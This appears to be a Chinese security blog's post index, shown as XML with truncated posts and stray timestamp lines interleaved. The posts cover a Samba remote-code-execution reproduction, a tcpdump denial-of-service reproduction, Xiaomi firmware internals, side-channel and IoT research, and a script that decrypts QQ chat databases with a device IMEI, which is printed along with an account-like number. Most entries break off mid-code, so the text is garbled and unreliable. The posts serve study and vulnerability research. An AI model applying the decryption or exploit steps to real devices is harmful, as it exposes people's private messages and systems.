但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹, 来确定你是否试图分析它。例如, 查找调试器引用的注册表项。同时, 程序也可以查找系统的文件和目录, 查找当前内存的痕迹, 或者查看当前进程列表, 更普遍的做法是通过FindWindows来查找调试器。</li> </ol> <h2 id= "识别调试器的行为" > <a href= "#识别调试器的行为" class= "headerlink" title= "识别调试器的行为" > </a> 识别调试器的行为</h2> <p > 在逆向工程中, 可以使用断点或单步调试来帮助分析, 但执行这些操作时, 会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。</p> <ol > <li > INT扫描<br > 调试器设置断点的基本机制是用软件中断INT 3, <33> <EFBC8C>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 二进制 </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 逆向 </tag>
<tag > 破解 </tag>
</tags>
</entry>
<entry >
<title > 某厂商路由器与Samba漏洞CVE-2017-7494</title>
<link href= "/2019/03/25/Samba-CVE/" />
<url > /2019/03/25/Samba-CVE/</url>
<content type= "html" > <![CDATA[<h1 id="漏洞描述"> <a href= "#漏洞描述" class= "headerlink" title= "漏洞描述" > </a> 漏洞描述</h1> <p > Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录, 会导致服务器加载并执行指定的库文件。<br > 具体执行条件如下:</p> <ol > <li > <p > 服务器打开了文件/打印机共享端口445, 让其能够在公网上访问</p> </li> <li > <p > 共享文件拥有写入权限</p> </li> <li > <p > 恶意攻击者需猜解Samba服务端共享目录的物理路径</p> </li> </ol> <h1 id= "Samba介绍" > <a href= "#Samba介绍" class= "headerlink" title= "Samba介绍" > </a> Samba介绍</h1> <p > Samba是在Linux和Unix系统上实现SMB协议的一个免费软件, 由服务器及客户端程序构成。SMB( Server Messages Block, 信息服务块) 是一种在局域网上共享文件和打印机的一种通信协议, 它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。</p> <p > SMB协议是客户机/服务器型协议, 客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置“NetBIOS over TCP/IP”使得Samba不但能与局域网络主机分享资源, 还能与全世界的电脑分享资源。</p> <p > 某厂商路由器的smbd版本为4.0.21, 该漏洞影响Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。</p> <h1 id= "漏洞成因" > <a href= "#漏洞成因" class= "headerlink" title= "漏洞成因" > </a> 漏洞成因</h1> <p > 处于<code > \source3\rpc_server\src_pipe.c的is_known_pipename()</code> 函数未对传进来的管道名<code > pipename</code> 的路径分隔符<code > /</code> 进行识别过滤, 导致可以用绝对路径调用恶意的so文件, 从而远程任意代码执行。<br > 首先看到<code > is_known_pipename()`</code> 函数<br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-00-46.png" a l t > </p> <p > 跟进到<code > smb_probe_module()</code> <br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/01-59-58.jpg" a l t > </p> <p > 再跟进到<code > do_smb_load_module()</code> ,发现调用的过程就在其中,调用了传进来的moudule_name对应的init_samba_module函数<br > <img src= "https://www.testzero-wz.com/2018/07/20/Samba%E8%BF%9C%E7%A8%8B%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E5%88%86%E6%9E%90%20CVE-2017-7494/02-01-19.jpg" a l t > </p> <p > 我们可以通过smb服务上传一个恶意的so文件, 随后通过上述过程进行调用, 执行任意代码。</p> <h1 id= "漏洞复现" > <a href= "#漏洞复现" class= "headerlink" title= "漏洞复现" > </a> 漏洞复现</h1> <h2 id= "某路由器满足条件" > <a href= "#某路由器满足条件" class= "headerlink" title= "某路由器满足条件" > </a> 某路由器满足条件</h2> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > netstat -apnt</span> <br > <span class= "line" > tcp 0 0 192.168.31.1:445 0.0.0.0:* LISTEN 0 572 1917/smbd</span> <br > <span class= "line" > </span> <br > <span class= "line" > nmap 192.168.31.1</span> <br > <span class= "line" > 139/tcp open netbios-ssn</span> <br > <span class= "line" > 445/tcp open microsoft-ds</span> <br > </pre> </td> </tr> </table> </figure> <p > <strong > <em > 端口已开启</em> </strong> <br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class=
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > Samba </tag>
<tag > 远程执行 </tag>
<tag > CVE </tag>
</tags>
</entry>
<entry >
<title > 利用itchat定时转发微信消息</title>
<link href= "/2019/03/23/auto-send-WX/" />
<url > /2019/03/23/auto-send-WX/</url>
<content type= "html" > <![CDATA[<p> 我们实验室有个光荣传统, 每天早上起床叫醒我的不是闹钟, 而是群里雷打不动的安全新闻( 其实我免提醒了2333) <br > 而这个发送新闻的人, 一代一代的传承, 我没想到竟然有一天会落在我头上, 哭了o(╥﹏╥)o<br > 为了不暴露我的起床时间,同时能保质保量的完成任务,我决定做个机器人帮我完成。<br > 这就是这片po文的由来啦! </p> <h1 id= "大杀器itchat" > <a href= "#大杀器itchat" class= "headerlink" title= "大杀器itchat" > </a> 大杀器itchat</h1> <h2 id= "introduction" > <a href= "#introduction" class= "headerlink" title= "introduction" > </a> introduction</h2> <p > 先来一段<a href= "https://itchat.readthedocs.io/zh/latest/" target= "_blank" rel= "noopener" > itchat</a> 的官方介绍吧</p> <blockquote > <p > itchat是一个开源的微信个人号接口, 使用python调用微信从未如此简单。<br > 使用不到三十行的代码,你就可以完成一个能够处理所有信息的微信机器人。<br > 当然, 该api的使用远不止一个机器人, 更多的功能等着你来发现, 比如这些。<br > 该接口与公众号接口itchatmp共享类似的操作方式, 学习一次掌握两个工具。<br > 如今微信已经成为了个人社交的很大一部分,希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。</p> </blockquote> <p > 实际上, itchat是对微信网页端的爬虫, 所以, 网页端可以实现的功能都有, 那么, 我想要的定时群发微信消息, 自然不在话下! </p> <h2 id= "初步尝试" > <a href= "#初步尝试" class= "headerlink" title= "初步尝试" > </a> 初步尝试</h2> <ul > <li > <p > 安装</p> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > pip install itchat</span> <br > </pre> </td> </tr> </table> </figure> </li> <li > <p > 一个简单实例:实现给文件传输助手发送消息</p> </li> </ul> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > import itchat</span> <br > <span class= "line" > itchat.auto_login()</span> <br > <span class= "line" > itchat.send(' Hello, filehelper' , toUserName=' filehelper' )</span> <br > </pre> </td> </tr> </table> </figure> <h1 id= "实现定时转发" > <a href= "#实现定时转发" class= "headerlink" title= "实现定时转发" > </a> 实现定时转发</h1> <p > 这个的实现需要注册msg_register,逻辑很简单,当收到指定群里的指定消息时,将消息转发到另一个群。<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13</span> <br > <span class= "line" > 14</span> <br > <span class= "line" > 15</span> <br > <span class= "line" > 16</span> <br > <span class= "line" > 17</span> <br > <span class= "line" > 18</span> <br > <span class= "line" > 19</span> <br > <span class= "line" > 20</span> <br > <span class= "line" > 21</span> <br > <span class= "line" > 22</span> <br > <span class= "line" > 23</span> <br > <span class= "line" > 24</span> <br > <span class= "line" > 25</span> <br > <span class= "line" > 26</span> <br > <span class= "line" > 27</span> <br > <span class= "line" > 28</span> <br > <span class= "line" > 29</span> <br > <span class= "line" > 30</span> <br > <span class= "line" > 31</span> <br > <span class= "line" > 32</span> <br > <span class= "line" > 33</span> <br > <span class= "line" > 34</span> <br > <span class= "line" > 35</span> <br > <span class= "line" > 36</span> <br > <span class= "line" > 37</span> <br > <span class= "line" > 38</span> <br > <span class= "line" > 39</span> <br > <span class= "line" > 40</span> <br > </pre> </td> <td class= "code" > <pre > <
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 杂七杂八 </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > itchat </tag>
<tag > 微信 </tag>
</tags>
</entry>
<entry >
<title > 小米固件工具mkxqimage</title>
<link href= "/2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/" />
<url > /2019/03/16/%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage/</url>
<content type= "html" > <![CDATA[<h1 id="小米固件工具mkxqimage"> <a href= "#小米固件工具mkxqimage" class= "headerlink" title= "小米固件工具mkxqimage" > </a> 小米固件工具mkxqimage</h1> <p > 小米自己改了个打包解包固件的工具,基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能,路由系统里自带:<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > Usage:</span> <br > <span class= "line" > mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]]</span> <br > <span class= "line" > [-x file]</span> <br > <span class= "line" > [-I]</span> <br > </pre> </td> </tr> </table> </figure> </p> <h2 id= "固件打包" > <a href= "#固件打包" class= "headerlink" title= "固件打包" > </a> 固件打包</h2> <p > 小米官方在打包固件时用RSA私钥计算出固件的RSA签名, 小米路由器下载固件后用RSA公钥来验证RSA签名, 有效地防止固件被篡改。</p> <h2 id= "固件解包" > <a href= "#固件解包" class= "headerlink" title= "固件解包" > </a> 固件解包</h2> <p > 固件工具mkxqimage完成对固件的解包, 在解包前先检查Checksum是否正确, 然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名, 这两个步骤通过后, 根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。</p> <h2 id= "固件更新签名校验" > <a href= "#固件更新签名校验" class= "headerlink" title= "固件更新签名校验" > </a> 固件更新签名校验</h2> <p > 小米路由器进行固件更新时同样会进行签名校验,文件/usr/share/xiaoqiang/public.pem是它的公钥, 用来校验签名正确与否。正因为这样, 黑客如果想在不拆机的前提下刷入已植入木马的固件, 只有两条路可走, 一是通过入侵、社工或破解得到对应的私钥, 然后对修改后的固件进行签名再刷入; 二是通过漏洞, 挖掘新的漏洞或者刷入有漏洞的旧版固件, 然后再通过漏洞利用得到root shell进而刷入任意固件。一般来讲, 第一条路是很难的, 而为了堵住第二条路, 可以通过限制降级来实现。</p> <p > 由此可见,在限制降级的前提下,在固件更新时进行签名校验,能有效地防止路由器被植入木马。</p> <h2 id= "固件格式" > <a href= "#固件格式" class= "headerlink" title= "固件格式" > </a> <a href= "http://www.iptvfans.cn/wiki/index.php/%E5%B0%8F%E7%B1%B3%E8%B7%AF%E7%94%B1%E5%99%A8%E5%9B%BA%E4%BB%B6%E5%88%86%E6%9E%90" target= "_blank" rel= "noopener" > 固件格式</a> </h2> <p > 路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式<br > <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > 48 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 00</span> <br > <span class= "line" > 20 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00</span> <br > <span class= "line" > FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5</span> <br > </pre> </td> </tr> </table> </figure> </p> <p > 第1~ 4字节: ASCII字符串“HDR0”, 作为固件的标识; <br > 第5~ 8字节: 4字节整型数0x0311D464, 表示固件的大小: 51500132字节; <br > 第9~12字节: 固件的检查和; <br > 第13~ 14字节: 0x0005, 表示固件中包含哪些部分; <br > 第15~ 16字节: 0x0002, 表示固件格式版本号; <br > 第17~ 20字节: 0x00000020, 表示固件第一部分在整个固件中的偏移量, 0.4.85固件的第一部分是brcm4709_nor.bin, 也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像; <br > 第21~ 24字节: 0x00FE0020, 表示固件第二部分在整个固件中的偏移量, 0.4.85固件的第二部分是root.ext4.lzma, 也就是硬盘中128M固件的压缩包; <br > 第33字节开始是固件的正式内容开始
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > IOT </category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 小米 </tag>
<tag > 文件格式 </tag>
<tag > SSH </tag>
</tags>
</entry>
<entry >
<title > QQ数据库的加密与解密</title>
<link href= "/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/" />
<url > /2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</url>
<content type= "html" > <![CDATA[<h1 id="qq数据库采用简单加密——异或加密"><a href="#qq数据库采用简单加密——异或加密" class="headerlink" title="qq数据库采用简单加密——异或加密"></a>qq数据库采用简单加密——异或加密</h1><h2 id="数据获取:"><a href="#数据获取:" class="headerlink" title="数据获取:"></a>数据获取:</h2><p>DENGTA_META.xml—IMEI:867179032952446<br>databases/2685371834.db——数据库文件</p><h2 id="解密方式:"><a href="#解密方式:" class="headerlink" title="解密方式:"></a>解密方式:</h2><p>明文msg_t 密文msg_Data key: IMEI<br>msg_t = msg_Data[i]^IMEI[i%15]</p><h2 id="实验:"><a href="#实验:" class="headerlink" title="实验:"></a>实验:</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">import sqlite3</span><br><span class="line"></span><br><span class="line">IMEI = '867179032952446'</span><br><span class="line">conn = sqlite3.connect('2685371834.db')</span><br><span class="line">c = conn.cursor()</span><br><span class="line"></span><br><span class="line">def _decrypt(foo):</span><br><span class="line"> substr = ''</span><br><span class="line"> #print(len(foo))</span><br><span class="line"> for i in range(0,len(foo)):</span><br><span class="line"> substr += chr(ord(foo[i]) ^ ord(IMEI[i%15]))</span><br><span class="line"> return substr</span><br><span class="line"></span><br><span class="line">#rem = c.execute("SELECT uin, remark, name FROM Friends")</span><br><span class="line">Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")</span><br><span class="line"></span><br><span class="line">for msg in Msg:</span><br><span class="line"> uid = _decrypt(msg[1])</span><br><span class="line"> print("\n"+uid+":")</span><br><span class="line"> try:</span><br><span class="line"> msgData = _decrypt(msg[0]).decode('utf-8')</span><br><span class="line"> print(msgData)</span><br><span class="line"> except:</span><br><span class="line"> pass</span><br></pre></td></tr></table></figure><h2 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h2><p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1552728077/qq.png" alt></p>]]> </content>
2020-10-21 10:25:01 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 加密解密 </category>
2021-04-10 12:03:10 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 密码 </tag>
<tag > QQ </tag>
<tag > 数据库 </tag>
</tags>
</entry>
<entry >
<title > wifi半双工侧信道攻击学习笔记</title>
<link href= "/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/" />
<url > /2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</url>
<content type= "html" > <![CDATA[<h1 id="TCP侧信道分析及利用的学习报告"> <a href= "#TCP侧信道分析及利用的学习报告" class= "headerlink" title= "TCP侧信道分析及利用的学习报告" > </a> TCP侧信道分析及利用的学习报告</h1> <p > <strong > <em > 论文来源:</em> </strong> USENIX SECURITY 2018: Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets<br > <strong > <em > 下载:</em> </strong> <br > <a href= "https://www.usenix.org/conference/usenixsecurity18/presentation/chen-weiteng" target= "_blank" rel= "noopener" > 原文pdf</a> <br > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553316881/ARE/wifi.pptx" target= "_blank" rel= "noopener" > 中文slides</a> </p> <h2 id= "背景知识" > <a href= "#背景知识" class= "headerlink" title= "背景知识" > </a> 背景知识</h2> <h3 id= "测信道" > <a href= "#测信道" class= "headerlink" title= "测信道" > </a> 测信道</h3> <p > <strong > 香农信息论</strong> </p> <p > <img src= "https://raw.githubusercontent.com/Cool-Y/tcp_exploit/master/pic/1.PNG" alt= "信息熵" > </p> <p > <strong > 什么是信息?</strong> 用来减少随机不确定的东西</p> <p > <strong > 什么是加密?</strong> 类似于加噪声,增加随机不确定性</p> <blockquote > <p > “从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。”</p> </blockquote> <p > <strong > 侧信道随之出现</strong> 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。</p> <ol > <li > 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性</li> <li > 而随着研究的深入, 逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递</li> <li > 并在Web应用交互信息传递越来越频繁时, 延伸到了网络加密数据流的破解方面</li> </ol> <p > <strong > 侧信道攻击的流程</strong> 第一个就是侧信道泄露的截取,第二个是信息的恢复。</p> <hr > <h3 id= "网络攻击" > <a href= "#网络攻击" class= "headerlink" title= "网络攻击" > </a> 网络攻击</h3> <ol > <li > 中间人攻击<blockquote > <p > “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。”</p> </blockquote> </li> </ol> <p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/2-Man_in_the_middle_attack.svg.png?raw=true" a l t > </p> <ul > <li > 公共wifi、路由器劫持</li> <li > 一般使用加密来防御</li> <li > 加密的代价:维护密钥证书、影响功能(运营商无法做缓存)</li> </ul> <ol start= "2" > <li > 非中间人攻击/偏离路径攻击/off-path attack<blockquote > <p > 通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。</p> </blockquote> </li> </ol> <ul > <li > 攻击成功需要:消息合法+最先到达</li> <li > 防御措施: challenge-response/询问-应答机制<br > 双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。</li> <li > 攻击者如何得到这个随机数:侧信道</li> </ul> <hr > <h3 id= "TCP三次握手" > <a href= "#TCP三次握手" class= "headerlink" title= "TCP三次握手" > </a> TCP三次握手</h3> <p > <img src= "https://github.com/Cool-Y/tcp_exploit/blob/master/pic/3-Connection_TCP.png?raw=true" a l t > </p> <blockquote > <ol > <li > 客户端通过向服务器端发送一个SYN来创建一个主动打开, 作为三路握手的一部分。客户端把这段连接的序号设定为<em > 随机数A</em> 。</li> <li > 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1, SYN/ACK包本身又有一个<em > 随机产生的序号B</em> 。</li> <li > 最后, 客户端再发送一个ACK<EFBFBD>
2021-04-10 12:03:10 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 顶会论文 </category>
2020-10-21 10:25:01 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > 侧信道攻击 </tag>
<tag > wifi </tag>
</tags>
</entry>
<entry >
<title > TCPDUMP拒绝服务攻击漏洞</title>
<link href= "/2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/" />
<url > /2018/12/25/TCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E/</url>
<content type= "html" > <![CDATA[<h2 id="Tcpdump介绍"> <a href= "#Tcpdump介绍" class= "headerlink" title= "Tcpdump介绍" > </a> Tcpdump介绍</h2> <ol > <li > tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统: 包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中, tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump; 它需要WinPcap驱动, 相当于在Linux平台下的libpcap.</li> <li > tcpdump能够分析网络行为, 性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤, 并提供and、or、not等逻辑语句来帮助你去掉无用的信息, 从而使用户能够进一步找出问题的根源。</li> <li > 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量, 如Telnet或HTTP的数据包, 查看登录的用户名、密码、网址、正在浏览的网站内容, 或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁, 而是对网络上的其他计算机的安全存在威胁。</li> </ol> <h2 id= "分析环境" > <a href= "#分析环境" class= "headerlink" title= "分析环境" > </a> 分析环境</h2> <ul > <li > Ubuntu 16.04.4 LTS i686</li> <li > tcpdump 4.5.1</li> <li > gdb with peda</li> </ul> <h2 id= "漏洞复现" > <a href= "#漏洞复现" class= "headerlink" title= "漏洞复现" > </a> 漏洞复现</h2> <p > 这个漏洞触发的原因是, tcpdump在处理特殊的pcap包的时候, 由于对数据包传输数据长度没有进行严格的控制, 导致在连续读取数据包中内容超过一定长度后, 会读取到无效的内存空间, 从而导致拒绝服务的发生。对于这个漏洞, 首先要对pcap包的结构进行一定的分析, 才能够最后分析出漏洞的成因, 下面对这个漏洞进行复现。</p> <h3 id= "编译安装tcpdump" > <a href= "#编译安装tcpdump" class= "headerlink" title= "编译安装tcpdump" > </a> 编译安装tcpdump</h3> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > </pre> </td> <td class= "code" > <pre > <span class= "line" > 1.# apt-get install libpcap-dev</span> <br > <span class= "line" > 2.# dpkg -l libpcap-dev</span> <br > <span class= "line" > 3.# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span> <br > <span class= "line" > 4.# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz</span> <br > <span class= "line" > 5.# cd tcpdump-4.5.1/</span> <br > <span class= "line" > 6.# ./configure</span> <br > <span class= "line" > 7.# make</span> <br > <span class= "line" > 8.# make install</span> <br > <span class= "line" > 9.# tcpdump – -version</span> <br > <span class= "line" > tcpdump version 4.5.1</span> <br > <span class= "line" > libpcap version 1.7.4</span> <br > </pre> </td> </tr> </table> </figure> <h3 id= "生成payload( 来自exploit-db-payload) " > <a href= "#生成payload( 来自exploit-db-payload) " class= "headerlink" title= "生成payload( 来自exploit-db payload) " > </a> 生成payload( 来自exploit-db payload) </h3> <figure class= "highlight plain" > <table > <tr > <td class= "gutter" > <pre > <span class= "line" > 1</span> <br > <span class= "line" > 2</span> <br > <span class= "line" > 3</span> <br > <span class= "line" > 4</span> <br > <span class= "line" > 5</span> <br > <span class= "line" > 6</span> <br > <span class= "line" > 7</span> <br > <span class= "line" > 8</span> <br > <span class= "line" > 9</span> <br > <span class= "line" > 10</span> <br > <span class= "line" > 11</span> <br > <span class= "line" > 12</span> <br > <span class= "line" > 13< /s
2021-01-08 05:55:39 +00:00
<categories >
2021-04-10 20:13:11 +00:00
<category > 二进制 </category>
2021-01-08 05:55:39 +00:00
</categories>
2021-04-10 20:13:11 +00:00
<tags >
<tag > TCPDUMP </tag>
<tag > 拒绝服务攻击 </tag>
</tags>
</entry>
<entry >
<title > 基于采集规则引擎的物联网设备发现方法</title>
<link href= "/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/" />
<url > /2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</url>
<content type= "html" > <![CDATA[<p> <strong > <em > 论文来源:</em> </strong> USENIX SECURITY 2018: Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices<br > <strong > <em > 下载:</em> </strong> <br > <a href= "https://www.usenix.org/conference/usenixsecurity18/presentation/feng" target= "_blank" rel= "noopener" > 原文pdf</a> <br > <a href= "https://res.cloudinary.com/dozyfkbg3/raw/upload/v1553314438/ARE/Rule-based_engine.pptx" target= "_blank" rel= "noopener" > 中文slides</a> </p> <h2 id= "论文解读" > <a href= "#论文解读" class= "headerlink" title= "论文解读" > </a> 论文解读</h2> <h3 id= "概要:" > <a href= "#概要:" class= "headerlink" title= "概要:" > </a> 概要:</h3> <ul > <li > 物联网( IoT) 设备的快速增长的格局为其管理和安全性带来了重大的技术挑战, 因为这些物联网设备来自不同的设备类型, 供应商和产品模型。</li> <li > 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。</li> <li > 这篇文章提出了一种基于采集规则的引擎( ARE) , 它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则, 以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。</li> <li > 为了收集交易集, ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以( 类型, 供应商和产品) 的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。</li> </ul> <h3 id= "背景与动机:" > <a href= "#背景与动机:" class= "headerlink" title= "背景与动机:" > </a> 背景与动机:</h3> <ul > <li > 物联网蓬勃发展, 造就了物联网设备的广泛应用, 它不仅种类繁多, 包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等, 而且数量庞大, 据统计, 每天就会新增5500000台物联网设备。</li> <li > 但是由于设备脆弱、缺乏管理和配置不当, 物联网设备相比传统计算机要更不安全, 比如之前爆发的Mirai僵尸网络, 给美国造成了重大的损失。因此, 为了更主动地保护IOT设备, 提前发现、登记和注释物联网设备成为先决条件。</li> <li > 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。</li> </ul> <p > <img src= 